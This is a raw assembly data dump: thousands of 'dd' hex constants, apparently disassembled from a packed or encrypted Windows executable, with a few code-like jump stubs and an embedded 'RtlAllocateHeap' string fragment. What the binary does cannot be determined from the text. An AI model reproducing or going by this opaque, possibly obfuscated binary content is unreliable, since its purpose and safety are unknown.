0DB7568F2h dd 32156630h, 0C00C9763h, 8C61498Ch, 38324989h, 0EB2886B9h dd 6175F928h, 537493D6h, 3D959FC4h, 32154AA1h, 0D9949A11h dd 421B1D98h, 8D42AD45h, 421B1D32h, 0CE4A9D10h, 0DC94950Fh dd 0CDEA99BBh, 547595A5h, 0C395B79Ah, 0BCFC07D7h, 0CE156644h dd 30F9E5DAh, 1609EF77h, 0CB3D993Fh, 0BC1A3D22h, 3215662Ah dd 0F49E0071h, 53EBD987h, 0DB96B7B3h, 321C8FDDh, 3C466611h dd 83679B26h, 67E59974h, 0FC2CAD9Fh, 3AF8E70Fh, 0C53383F2h dd 0C8D8E799h, 0B368180Eh, 4D7966FCh, 0B9FC47F5h, 0F6964268h dd 0EC940626h, 4CC0F8C7h, 3217E387h, 0C09E6644h, 32058F43h dd 76806611h, 881CB95Bh, 0A6BA2BEDh, 1FE031C0h, 0D994F8E7h dd 579A262Ah, 8C43AD6Dh, 579A2680h, 524B9510h, 7BA1BE02h dd 3B90ED25h, 0CA128610h, 219CF39Ah, 0CBE96168h, 33B8DBC7h dd 3D1461C2h, 0CDE2EA95h, 0B01A9A77h, 32156645h, 3DCD5DDAh dd 32152693h, 0B9730688h, 0B3730693h, 0DBE020D2h, 32156614h dd 2379F209h, 3D740720h, 321561A9h, 0C6950611h, 534D3740h dd 0B41AB57Dh, 0CDEA8B92h, 321569F8h, 0E1C9DC88h, 0BEDF8E73h dd 0EB5BB9C0h, 6FE24EA5h, 3EEA3074h, 1621ED60h, 3211A2A3h dd 0DBED6611h, 3215669Ch, 0AC9BF62h, 0C9F12157h, 61A13C7Eh dd 1602A5B6h, 8B2866C5h, 0C09C3471h, 0BB4FB598h, 3D753D51h dd 321563C4h, 19CEDD22h, 96AB0710h, 5356E2A3h, 545D913h dd 0EDE235D7h, 33D28190h, 0B352670Ch, 3A7062B3h, 6DEC4F1Fh dd 0F3949F38h, 0F1D030Dh, 37AD36B1h, 0B3156622h, 3F289BD0h dd 0B3D44FC3h, 3F289BADh, 60E03E69h, 8146FAA7h, 0C4FEE6F6h dd 0D1958594h, 6FE6E630h, 0BA4EB811h, 0DA753C78h, 32156657h dd 0EE1E48D7h, 0BD7B8FE3h, 1B94B953h, 9ABF276Dh, 0B3D8C74Dh dd 614C53C3h, 0DA463DDCh, 32156656h, 1FF0F3B0h, 11F2937h dd 6F6EEEC3h, 0EBDB77Bh, 6C4C21D9h, 0DBBF9F70h, 32156684h dd 0FE12510h, 0BEDC5927h, 29B8403Ah, 0F324AEB9h, 99E0AE75h dd 3D4C3742h, 3215659Fh, 0C9A26988h, 321D8F25h, 0C9926622h dd 0A3933BF1h, 0F3FCE3E0h, 3DEA9996h, 321567ADh, 88479311h dd 32156688h, 8B449445h, 32156622h, 339FB710h, 0BF1A3CD1h dd 3215665Dh, 32048E42h, 0A01F6611h, 19EDB974h, 0F2A2F2A6h dd 76A21EAFh, 686ACD64h dd 3DFD5AE9h, 321528C0h, 0DE969E22h, 1619EF15h, 6A427831h dd 0E3E4E761h, 0F356112Dh, 0DB9463F8h, 6052BC7h, 3B7097C5h dd 0FB9454D6h, 784929CEh, 5DCA8F09h, 0FA9C9999h, 8873067Bh dd 53E0FFD2h, 3214D861h, 32188F44h, 7C206622h, 0F6A75746h dd 0F20A3C38h, 5AD9DF21h, 32153F39h, 0DB317A98h, 32156680h dd 488E52D7h, 0A35D3F3Eh, 3239FC79h, 1621EF88h, 32068F1Fh dd 6BAD6622h, 58BB83ADh, 0E4ABC97Fh, 645D0E7Ah, 61524A3h dd 33AD3667h, 37156688h, 4AEF2D3Ah, 4C389623h, 316D9C5Ah dd 63E03E90h, 5544DE14h, 66AC2970h, 35A3476h, 0F9143E49h dd 239E691Dh, 52156622h, 32156EF8h, 0CF20E788h, 0B47D5A03h dd 53CAED94h, 60FDD542h, 0C29DB800h, 54753D1Eh, 3837BCA3h dd 0A0CBDD77h, 0BC1ACCE9h, 32156648h, 3213E82Dh, 0B31A6611h dd 32156688h, 3D0EA5C5h, 0D99469BFh, 6D60731Bh, 0F1949DA1h dd 6D60734Eh, 3D0E8DA3h, 0B375698Ch, 9ACB1C43h, 8D42077Fh dd 32156626h, 0E9E9D38h, 36D1E5ACh, 320AE14Bh, 54756622h dd 0DAF6E2A8h, 3215669Bh, 90E92179h, 0E50BD66Ah, 0FF9685DEh dd 0B517492Ah, 69A4B4C4h, 3CD5743h, 3DCD57D2h, 32156102h dd 53750644h, 53C4D92Dh, 2A9769BAh, 52156688h, 0DB98AFC4h dd 3215662Ch, 0C94434DFh, 0E9428ED2h, 5357CE83h, 0CD746F23h dd 0B34E4225h, 3215624Ch, 67479344h, 99225B9Fh, 37F0A732h dd 0D58E8B09h, 0D89C1322h, 68C3677Fh, 79C8E671h, 0C19400DBh dd 534DCB80h, 0BB118AA1h, 7A7D420Dh, 6967BBA7h, 0D194BDB3h dd 94F2031h, 0B31685D0h, 0DFEAE74Bh, 69CDEFF3h, 21FC0642h dd 9C156611h, 0F3954A15h, 7585CA28h, 97544CBBh, 348E8618h dd 0B373F409h, 5313CEA7h, 0F1CFE744h, 89750754h, 9E8CD93h dd 32156FADh, 700AAA22h, 96720CEFh, 0F1746F08h, 32078F24h dd 0A33E6622h, 78F22FCAh, 0F88706FBh, 0B347B80Ah, 0D903CD04h dd 53178691h, 322396E0h, 1619EF44h, 3219E92Dh, 35FC6611h dd 0D3156688h, 0B2004067h, 0CD738572h, 1E940027h, 542F73ACh dd 5447001Ch, 542F7398h, 6873B610h, 32156861h, 0E8AB2D44h dd 6C93262Eh, 6615C455h, 3D07B032h, 32157FC7h, 21986922h dd 0DB156611h, 32156686h, 27AB6A5Ch, 0C6D6F3AAh, 0EB71B1ACh dd 0F129A27Ah, 3391E24Bh, 54756622h, 0D621A690h, 5309A108h dd 0B61AAD78h, 32156750h, 5C48DE71h, 0E745BF8h, 0FA916986h dd 3D156623h, 32157594h, 34FC0688h, 0DE156644h, 231E6FBCh dd 0AED3E718h, 536CBB0Bh, 0B61AAC78h, 32156785h, 3218E81Eh dd 3AFC6688h, 0A2156644h, 8AFD646h, 5495C39Fh, 3D3099B5h dd 3214D4C0h, 8B730622h, 21FDBDC1h, 55156688h, 447684ECh dd 834D8554h, 4A62D28Fh, 0BF086629h, 21FD05B7h, 76156622h dd 2F9655D3h, 8E8D0156h, 24A5D67Eh, 0FB5D4730h, 6B4CB9A6h dd 1C2800E9h, 649069BBh, 3D156622h, 32156791h, 88479F88h dd 32156646h, 309F9423h, 0B331729Ah, 3215624Ch, 0C0950644h dd 379469FCh, 54156611h, 7CF2A809h, 4EA90E25h, 269C6622h dd 0B235D435h, 0E2355662h, 0B973061Eh, 5AAE00FBh, 9229078Dh dd 337AE287h, 0B21A6644h, 32156627h, 0C74D3571h, 1619EDE9h dd 0B3F4EF15h, 321562E3h, 36D4E511h, 6E316A0Fh, 3200EC4Bh dd 22FC6622h, 3E156611h, 1D76F72Bh, 5159B459h, 0B579C41Ah dd 67DD6DCBh, 0CC10A135h, 0F5F8E775h, 63249827h, 0FA9C8F98h dd 0DBE93BD1h, 32156655h, 6A1CABEAh, 0F211BB36h, 0D14AED18h dd 1D072A97h, 33A38FD0h, 0DB756611h, 3215669Ah, 0C1D4970Eh dd 76FBD8D5h, 2A0BAD23h, 0A26A0103h, 0F4956274h, 0B71A0787h dd 3215661Fh, 329169E8h, 0B3156644h, 0BBFB93F5h, 0FB240721h dd 32156161h, 760BB944h, 0AD21C1C0h, 32156DF8h, 4414C288h dd 0C802CF50h, 67A6E02Dh, 4FD4D847h, 0FC9424CCh, 41195917h dd 0E4E2B8D5h, 0F49488C0h, 0F44CA69Eh, 0CE4B976Dh, 3215D5CBh dd 88730611h, 26FDC73Bh, 87156644h, 0F47FA1DFh, 9AAD61D9h dd 557E22E5h, 9B0822DBh, 0B34C656Ch, 514142D3h, 64743FB5h dd 321565FAh, 6C4C3022h, 321572F8h, 89B52788h, 9CA7E5D6h dd 65C2B01Bh, 0A37AFE81h, 6786149Fh, 32738FF0h, 67ED6622h dd 84113EACh, 32AB30CAh, 1B156644h, 6CE0E1CCh, 4AE0E75Ch dd 0B322CB8Ah, 86556AA1h, 0F7942301h, 0CF4ED9E8h, 52488F01h dd 3EFC36BDh, 27156622h, 2CF89566h, 0D363B2C2h, 6BA425FBh dd 32378F43h, 0B71A6611h, 32156689h, 627D30BDh, 6C4B5F2Fh dd 8A45B8E6h, 7F982B15h, 66552069h, 6AD367CDh, 0CE4B9798h dd 6275C27Bh, 6C46371Bh, 0BF9E077Bh, 35F57598h, 319D69E8h dd 54156644h, 0B7749EA9h, 219069D8h, 0DB156688h, 32156643h dd 86F245D2h, 0BBC88A7Fh, 0D206EF3Dh, 6EA9343h, 0F6963F06h dd 8C730615h, 5A74A54Ch, 32156645h, 0B13162A9h, 547562D5h dd 2ACB9109h, 321561ACh, 0EB0E2122h, 0D8D21B2Eh, 32156F60h dd 0D596BB44h, 5ED9E576h, 694B9F18h, 2F9669E9h, 3D156644h dd 321571AAh, 32078F11h, 3556688h, 8999DFE1h, 1F3B99CCh dd 0FC765C70h, 32274CCh, 0CD739A87h, 6940014h, 5461D635h dd 0B1316203h, 7736480h, 0B41A1292h, 32156616h, 0D1FBE6E8h dd 0E7496CFh, 8F9169E1h, 3D156610h, 3215760Eh, 389B6944h dd 0DB156622h, 32156614h, 67C11903h, 0BA46340Bh, 69CFEEE1h dd 3D4FB599h, 3215730Dh, 32058F44h, 228F6622h, 1D4B9543h dd 87CE7BA6h, 0E6A99425h, 87446A32h, 37F0A613h, 0B22F9308h dd 0E7E3E6B1h, 0C795A3DCh, 6BFE46E7h, 3219ED87h, 0BD1A6644h dd 32156624h, 3215E31Eh, 0C9956688h, 9C916934h, 3D156621h dd 32157F9Fh, 22FC0688h, 4B156644h, 0C6047A90h, 82C0920Ah dd 5483A84Dh, 0B977338Dh, 0DB2907ECh, 333FE21Eh, 3D756688h dd 321566C4h, 0E749F22h, 2B9169FAh, 0CA156689h, 4C98DE24h dd 0DD9418A2h, 3D5B37CFh, 3DD75AE9h, 321465C0h, 0F3940622h dd 259E13E4h, 8FEC7030h, 20FC0758h, 5156622h, 6C9708C3h dd 33F017A0h, 52BFAFE1h, 0C263E381h, 3DDE5A56h, 3215B10Ch dd 851A0644h, 0F29400D5h, 5474662Fh, 3D3099B5h, 3215A5C0h dd 399B6922h, 0DB156611h, 3215668Eh, 0E55ACFD8h, 0F82935E4h dd 32BFE21Eh, 0B2756688h, 3AFC30ADh, 1D156622h, 0E06FEFECh dd 5362019Bh, 0B61A8578h, 321564CFh, 32156DF8h, 0F1EADF88h dd 12E49DE2h, 0F9286CDBh, 0CD3B5B77h, 3254E387h, 63ED6644h dd 3215649Bh, 0B8E46711h, 1619ED89h, 3211A2C5h, 54EC6622h dd 0F5A03743h, 0D83DD13Ah, 54C5461Dh, 32058F78h, 197C6611h dd 0A5D9BAA5h, 0CA36D510h, 0E9562F8Dh, 92299F72h, 3223E287h dd 60ED6644h, 4D761498h, 0C5CF9159h, 30F7A75Ah, 0C094BCB3h dd 5A80162Fh, 3024DB44h, 0D824D01Fh, 68C5EF19h, 30936942h dd 52156611h, 0F2AC00E9h, 92FC072Bh, 0CA156622h, 219CD398h dd 26FC6168h, 63156644h, 1BCE571Ch, 0F8007622h, 4852BD5Fh dd 38E044A4h, 0BF7AB0E3h, 0D489EB8Ch, 8C73068Fh, 35FC60D7h dd 0C8156622h, 2ADC75CDh, 3D7447C4h, 32157EC6h, 32068F22h dd 0F8336611h, 953B3F12h, 3ADF1A34h, 0BD4C1B13h, 7A763A0Dh dd 0DBC699C3h, 32156655h, 813C3D52h, 5FEE94F7h, 0C4A65F4Dh dd 86DA3490h, 32140E14h, 369E6611h, 36D1E7ACh, 3D156644h dd 321578A7h, 26FD0611h dd 1B156688h, 609C638Bh, 0C997EB70h, 3DFAD94Ch, 814DE3ADh dd 681762A3h, 0F1743C71h, 3219ED1Eh, 0BF1A6688h, 32156642h dd 3215E52Dh, 0BB446611h, 36D4E769h, 0B3156644h, 321562CBh dd 1619E111h, 1611EFD4h, 3205ED4Bh, 39FC6622h, 62156611h dd 0F35B5101h, 719F6076h, 8B443DB0h, 32156601h, 3EA9789h dd 0BBED3F1Ch, 0D23A37A7h, 33906916h, 0CA156688h, 6A3152BBh dd 0CB11A2A1h, 3209DB44h, 0DC146688h, 0B1314ACFh, 3BFC62E6h dd 13156611h, 342445B2h, 6781FE8Bh, 2750DBAFh, 0B21A61F1h dd 32156683h, 32966924h, 3D156622h, 9F74A0AEh, 31B66371h dd 76161CDAh, 8D424206h, 488B65B2h, 0CB4A9EA1h, 3206EF4Bh dd 0B91A6622h, 3215661Ch, 32156E61h, 60C60F44h, 0D813F406h dd 0B375CDFFh, 88EE9163h, 321B8E03h, 0DF7D6622h, 0F7EACDE4h dd 638DA43Bh, 2E195025h, 2A037D9Bh, 0BF743908h, 0D2071F35h dd 0C7B89E43h, 0AC66AA27h, 16516554h, 0FEA833ACh, 1B50F837h dd 54753BCAh, 851ABF9Ah, 0BB440752h, 36D4E7A5h, 0B3156622h dd 321562F8h, 1619E188h, 1611EF18h, 35FCCDD7h, 5156611h dd 747BC869h, 8F983401h, 35F54043h, 3AFCCBEDh, 24156688h dd 3FDA4747h, 1F42DE4Eh, 6ACA248Ah, 1A31228Bh, 73B6DC16h dd 785758E5h, 312D9490h, 0E2140090h, 0DBBE9F1Eh, 32156636h dd 9BF8B226h, 71C44E36h, 0ABA4727h, 4184F5ECh, 9386B860h dd 64315203h, 0F49480CDh, 32156626h, 3211A090h, 6926688h dd 0DBE93A60h, 32156636h, 6AA1AA2h, 5378B99Fh, 7F694FBEh dd 73EF2FC6h, 2B92E704h, 32068F4Bh, 0F276644h, 4DD35D41h dd 94F3F9E8h, 45AB3868h, 545F8616h, 0D29C3657h, 32156214h dd 32114B88h, 36926644h, 69C3A06h, 39986935h, 0DB156688h dd 32156642h, 2BD3DB7Fh, 0AF98BDF8h, 35F3FD44h, 321574ADh dd 4B7EF022h, 0C0868713h, 603360AEh, 0AE41447Dh, 0CD9EAB60h dd 39FC06C2h, 0F2156688h, 6A6C9796h, 2DC0EBD5h, 0B31ACFC4h dd 3215668Eh, 3215E54Bh, 0DB746622h, 0CDEA9B16h, 0CBA269E8h dd 321569ADh, 46B9B622h, 0F8364374h, 0F74137FDh, 61C11BFEh dd 0CEDFFC61h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A21C97C0h dd 0A8ED96A5h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 426D849Dh dd 0DA32DCF1h, 0BA8DF2B8h, 0A8EDD871h, 458A42C3h, 58DDAEA2h dd 0C88260D5h, 0B3399638h, 0DF07462Dh, 534FC32Ch, 3C6D5h dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0D4598FA7h, 0D9FB5645h dd 0A2189BB0h, 0DD7BAEA5h, 5863E96Fh, 0ABA851A2h, 3075195Fh dd 8B32DCAAh, 168DF2BBh, 0C626CB2Fh, 967512CDh, 0BD54142Bh dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 16EB00h dd 4 dup(0) dd 1000000h, 3B401h, 6A07E700h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 1299C350h, 0E5690D7Ah dd 20A98D8Bh, 8A5007E0h, 240489F4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0E1C35343h, 8BA33EB3h, 0B31E37B9h dd 6E919h, 0A6700000h, 394AB55Ah, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 430F7DC3h dd 7BC23C41h, 8B0F0BEFh, 0F006AC8h, 9D89F8B7h, 7E024F5h dd 98BC858Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0D1275CC3h, 2C35BD8Bh, 669007E0h dd 509118B9h, 9E8h, 0E8175700h, 14F799AAh, 0F305E983h dd 3CB8BA4h, 56EABFDBh, 0F7FD5032h, 465C0082h, 77892BCh dd 0DD7ED256h, 56BF4DDEh, 0CABB132h, 984E5BB3h, 0DAE5B6D4h dd 5675B125h, 56BAA3DBh, 9135A232h, 83C7FF9Dh, 0A4F305E9h dd 9D11F1B0h, 75FD7AF2h, 0D317FB23h, 25FA9D7Ch, 0FDF53FD5h dd 9242EBADh, 0B7342290h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah dd 987C2779h, 721ABA7Bh, 0CAE5FFA0h, 0F305E983h, 8DDB8BA4h dd 0E7D69CBDh, 0F28D8D07h, 0B807E860h, 32156644h, 0E9C1CF2Bh dd 0D0073102h, 4C783C8h, 60F67549h, 0F606061h, 8Eh, 0F6816600h dd 81610929h, 86B9ADCEh, 81506129h, 7262404h, 565870BCh dd 0BC0726BEh, 5EF02970h, 0B1BD83F5h, 7E006h, 0BD830975h dd 7E001C5h, 50197400h, 0B8C08B53h, 411h, 23998589h, 9D8D07E0h dd 7E2BCC9h, 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h dd 411h, 23998589h, 9D8D07E0h, 7E2B96Ah, 585BD3FFh, 78B0Fh dd 850F0000h, 1, 66F860F8h, 618F7AB9h, 76BE5650h, 1436F12h dd 5E042474h, 12762D58h, 8B60436Fh, 0C7EE81C8h, 610B680Eh dd 0BC8D8DF8h, 5607E864h, 219589h, 895F07E0h, 0E018158Dh dd 65B52907h, 0C707E026h, 0E0204985h, 6A0C07h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 28E3C667h, 49DEA71Ch, 6810F2Ch, 8B000000h, 0E01B9195h dd 81952907h, 0C707E000h, 0E022C585h, 7, 819D8900h, 0FF07E013h dd 0E006D5B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0B49E75Eh, 21C780F5h dd 209195FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 6B6C06C3h, 0E519CA6Fh, 0F280B479h dd 0FF006A32h, 0E018A995h, 0EBC08B07h, 0B5C90669h, 0AD340D87h dd 40F4E831h, 993B2CDEh, 60319586h, 803960A0h, 0F90A9D94h dd 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh, 9DC1F3ABh dd 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h, 1E7EECC1h dd 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h, 0CCB965C0h dd 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 600BB2CEh, 5E822FAh dd 0D1000000h, 6B760E8Bh, 805FD78Bh, 0C781DDE5h, 5A88h dd 0A371E181h, 68473Ah, 60000000h, 0CE9h, 0F87C1E00h, 0CD5C865Eh dd 290DBA75h, 0CFBF0F4Dh, 0BF0F5E61h, 37048BDBh, 0C081DE8Bh dd 13EDA05Bh, 0E15958Bh, 0C08107E0h, 3D22ED87h, 0E881C88Bh dd 464B2D43h, 50DFDD80h, 341428BBh, 37048F68h, 7E9h, 498F2C00h dd 0DDB15E3h, 83F7DB80h, 0FE8104EEh, 0FFFFA624h, 1F850Fh dd 8D310000h, 7E03105h, 26E9h, 0A3E04100h, 7A370505h, 0FCFCE970h dd 0CB049E01h, 628B5578h, 0D1B529E5h, 0E907E006h, 0FFFFFF8Dh dd 5E89394Bh, 0E8C37765h, 11h, 0D23C3199h, 0C6B08035h dd 0F92816D6h, 8F4296C2h, 830F5A0Fh, 4, 0B9A7BB66h, 6C0FC281h dd 9D8B0000h, 7E012E5h, 0BB6C31B9h, 0FDF18168h, 0B468BB76h dd 8B3A8BAAh, 0E01A2985h, 6BC78107h, 5700B912h, 0BE8h dd 21F04000h, 2948013Eh, 0A588C572h, 8F0Fh, 5E580000h dd 0E973EF81h, 858B14F0h, 7E02F55h, 8133C781h, 8E9423Dh dd 0FD000000h, 749BFE55h, 5793B41Ah, 31999589h, 28F07E0h dd 333D9D01h, 0EA8307E0h, 1D858B04h, 8307E01Dh, 850F01E9h dd 16h, 6850Fh, 858B0000h, 7E00021h, 36E9h, 0B809600h dd 880FD81Eh, 14h, 0FE9h, 67E5E700h, 0AE33FF69h, 0E556C488h dd 0E8D37FA0h, 0FFFF64E9h, 0FE446AFFh, 0D83F8EF4h, 0A946FABCh dd 326AFBC1h, 0E9D4A3E1h, 0EDh, 0D88C6660h, 840F04A8h dd 0DFh, 3421B58Bh, 0FE8307E0h, 22850F00h, 0C6000000h dd 0E0075985h, 69684507h, 0FF8E7269h, 0E02F01B5h, 0E8858D07h dd 0FF07E37Fh, 0FD8589D0h, 8B07E028h, 0E93E80F0h, 31850Fh dd 858D0000h, 7E58E9Eh, 0BD8BD0FFh, 7E02A89h, 1184C781h dd 0B58B0000h, 7E03421h, 8B9F787h, 0F3000000h, 21B58BA4h dd 8D07E034h, 0E3B33285h, 8BD0FF07h, 0E02165B5h, 0FE8307h dd 22850Fh, 85C60000h, 7E00759h, 0BEF46854h, 0B5FFFF4Eh dd 7E02F01h, 7FE8858Dh, 0D0FF07E3h, 21658589h, 0F08B07E0h dd 0FE93E80h, 3A85h, 65B58B00h, 8D07E021h, 0E58E9E85h dd 8BD0FF07h, 0E02A89BDh, 84C78107h, 83000011h, 0B58B08C7h dd 7E02165h, 8B9F787h, 0F3000000h, 65B58BA4h, 8D07E021h dd 0E3B33285h, 61D0FF07h, 0CC858DC3h, 8907E866h, 0E0324185h dd 36E907h, 4CC00000h, 4411h, 0Ch dup(0) dd 4CDE9h, 69086800h, 0CCE907E8h, 68FFF818h, 7E86973h dd 0F818C2E9h, 6AF768FFh, 0B8E907E8h, 4EFFF818h, 0C092AC66h dd 350721D9h, 0AC7E9850h, 1FF10BC3h, 1469833Dh, 0DA9476ABh dd 500AEEC0h, 0C9816436h, 3DF7DDAFh, 35584323h, 21D2387Ch dd 2BF69002h, 0E5A68849h, 4B424701h, 0F9A49BA0h, 5610F6F4h dd 2300103Ch, 0A36DE90Ch, 71CB2E5Ah, 0D6CDD28Ah, 0E9C3262Bh dd 0B6994B05h, 0FC02F9FEh, 0DA9BF4B9h, 8BE84921h, 0D4EF0935h dd 3112253h, 0C66C0000h, 4B5109ECh, 310B9AD9h, 6024384Bh dd 2C63A922h, 0F9277B81h, 6600233Ah, 0A02E59B0h, 775C364Dh dd 0D5BCB9BFh, 0CCFED471h, 0BAD16EB2h, 0D4FA1797h, 0F70E6133h dd 2C58A4CBh, 91888D45h, 37200F8Dh, 12F4045Ah, 0D4DA850Ch dd 42E12F87h, 9ABD082Bh, 0E63930F4h, 4E0FF5CFh, 0EA04AF67h dd 9AFB87B3h, 0A64071F3h, 6C0A6A0h, 9285C02Dh, 0BEECD5E0h dd 324h, 77914B33h, 0EC06BEA5h, 637D351Ah, 0D6F0A891h dd 4E682204h, 795BD0F9h, 0EFD3A5BFh, 66491B35h, 0DCC294AEh dd 3D280822h, 0D237971Ah, 0D36DDF21h, 4E08ECC6h, 0F84C5249h dd 0D1F40B28h, 2E52C62Ah, 0F429B460h, 2432A317h, 0A6886279h dd 1E00D2ECh, 22FC5F64h, 387B8139h, 0CE5CDF94h, 0B68F492Fh dd 0DE24554Fh, 0B9517F68h, 9E000002h, 10E2FCB6h, 85577129h dd 0FCCEE8A0h, 6F415B13h, 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h dd 19D1B486h, 8D472DFFh, 85A89373h, 21D2382Ch, 0D146E052h dd 9AD9F04Fh, 1E24DEC0h, 52C620DBh, 62EA162Eh, 47964CC7h dd 89DCFB01h, 0BFE22184h, 21D277F2h, 0F033398Ch, 21D277BDh dd 3E43FBDEh, 9CA15940h, 549FF429h, 308EE344h, 53DCCFF2h dd 1BE1Dh, 452B6700h, 0A288868Bh, 7EA2CEE8h, 3F6BAAC1h dd 0C9B2B0F6h, 11150C11h, 6B710716h, 5A27D628h, 0F60D602Eh dd 5C5578B7h, 2221DA28h, 27DDD4CFh, 469921DAh, 1ACF340h dd 9A21DA28h, 5A12F5B6h, 0AEB35E55h, 0F14CEB0h, 4C97EC19h dd 2886DB3Ch, 53D49FFAh, 3515h, 9AC65F00h, 0CFB9D687h dd 5EB2B845h, 3B5E75B2h, 2E59E9B7h, 0A2E9EE41h, 21D9EA0Bh dd 0F0F5AD90h, 50550DF2h, 8DD02D5Ah, 69C71C7Dh, 53D45D3Dh dd 0CB56h, 0ECC6A000h, 0BE46F809h, 0FD6D8A80h, 6C524C52h dd 0CDAFADB2h, 2A100E13h, 876D6B70h, 5398B3CDh, 0B029B9E1h dd 0BFF610CAh, 0E1545D80h, 6D4F29B9h, 0E0B7AEB3h, 0ED33878Dh dd 6B0B374Eh, 2C1E93D2h, 25E78589h, 87DE70DFh, 0FDFF2281h dd 0D32E5778h, 90CB56A7h, 0AFB53322h, 98523690h, 62859C93h dd 21D7DA4Fh, 1229D427h, 859C5638h, 80DC7ABh, 0C0785F11h dd 5CBEC4BBh, 15EEA88Ah, 0EDEF9BB4h, 35BAE8D1h, 22000001h dd 9466803Ah, 9DBF5ADh, 80526C24h, 0F3C5DF97h, 0E83D5711h dd 0AE684AFFh, 24DEC294h, 9D55380Ah, 11CBB183h, 92C17F7h dd 21D236A8h, 2BC25CCEh, 0EDA58849h, 70562842h, 39659CB6h dd 23453E15h, 3C5E64F0h, 0FC1F452Bh, 29BAA0B5h, 0D8BC6EC1h dd 706E731Eh, 0E28B778Ah, 84F9DAC3h, 0C7F24FFCh, 0EC97423Dh dd 517AA6D2h, 0BA2C832Eh, 1998BB29h, 6529BA2Dh, 3DE83B12h dd 2B0DE726h, 0C6CB836Ah, 0DB1E24CFh, 2E5A7AFAh, 3812297Ch dd 67829C56h, 21DA6746h, 2D81C4F0h, 0AC37FBBFh, 0CC6ACA6h dd 843E20F2h, 8A517Fh, 0C6E70000h, 545C2A9Ah, 171D61BAh dd 0C7DE5DC3h, 4A4F09EDh, 0CBEE4D53h, 2E52B72Ch, 0AD059E4Ah dd 3C5F4B2Fh, 0B9A07A91h, 0B0AEFB01h, 24F610CAh, 387F843Eh dd 625B5EB0h, 0A7AC644Bh, 80DC7A9h, 7BC61BDCh, 78C21F54h dd 0ECBED892h, 49474C06h, 0A5A3A860h, 7050AC2h, 0FB636820h dd 68125DB2h, 0AE94E63Bh, 2208DAF4h, 26006368h, 8F868B43h dd 3B40F8DDh, 11143E44h, 6D000000h, 0EEF4AC93h, 0C39AC6CCh dd 0D81DED9Bh, 0B977787Eh, 8489432Bh, 0E1E6A086h, 434800E3h dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h dd 7E833B22h, 0DD686Dh, 4890000h, 0E6895624h, 4C681h, 0EE830000h dd 24348704h, 2404895Ch, 6EEA68h, 241C8900h, 29015FB8h dd 7CBE5627h, 3120C169h, 5F685EF0h, 89000028h, 4812424h dd 424h, 0EC815B00h, 4, 81240489h, 0B872434h, 438F703Eh dd 8738108h, 703E0B87h, 5B2434FFh, 4C481h, 48B0000h, 0E6895624h dd 4C681h, 0C6830000h, 24348704h, 140DE95Ch, 259EFFF8h dd 51B8AAAEh, 307E86Ch, 7DE0FFC5h, 0DF6CA893h, 7331CF4Fh dd 0E752FC05h, 444B1155h, 0A5678ACAh, 1E08E520h, 32652C16h dd 0D47FDE1h, 31107782h, 0C82AE571h, 87C1DE4h, 9F55F499h dd 3F2867CEh, 0E36F1389h, 0F30E1975h, 8D0655F1h, 0E86DCF8Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0B2AA33BBh, 73206B6Fh, 0BE9CA56h, 75000000h dd 44228935h, 6408A7F6h, 8D8959A8h, 7E01815h, 17B1BD89h dd 9D2907E0h, 7E031E9h, 204985C7h, 71A407E0h, 0D48A0000h dd 22C585C7h, 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 3A2D71C3h, 7907EF27h dd 2A5DB5FFh, 890F07E0h, 6, 1DCD958Bh, 8C0F07E0h, 8, 2810Fh dd 3CB00000h, 209195FFh, 0F08A07E0h, 95FF006Ah, 7E018A9h dd 2AEBC08Bh, 71557E65h, 3EF15188h, 82CC99D1h, 66BE3F04h dd 0F022BD61h, 5A8D3A53h, 1DA8484Ah, 0D9FC7465h, 587C7E5Ah dd 0C891E620h, 3DE9F5E8h, 34000000h, 5276C6BFh, 6C416C74h dd 61636F6Ch, 65486574h, 7061h, 1400h, 9 dup(0) dd 1066E9h, 70376800h, 8CE907E8h, 68FFF812h, 7E87115h dd 0F81282E9h, 734A68FFh, 78E907E8h, 68FFF812h, 7E87448h dd 0F8126EE9h, 779E68FFh, 64E907E8h, 68FFF812h, 7E87836h dd 0F8125AE9h, 787568FFh, 50E907E8h, 68FFF812h, 7E87982h dd 0F81246E9h, 7A2A68FFh, 3CE907E8h, 68FFF812h, 7E87AAEh dd 0F81232E9h, 7C1D68FFh, 28E907E8h, 68FFF812h, 7E87D2Bh dd 0F8121EE9h, 4600E8FFh, 0BB735A2Ch, 32EACFA1h, 0A55D4618h dd 1DD7B98Bh, 1005AE03h, 885A742Eh, 0FED0EAA4h, 7749631Bh dd 0DDBDD791h, 32E2CFF2h, 2A9C21D2h, 84452B90h, 0E7DEE39Bh dd 8F944C35h, 0EAE8ED98h, 0F4334A04h, 9F27B1C8h, 0EBE6EE51h dd 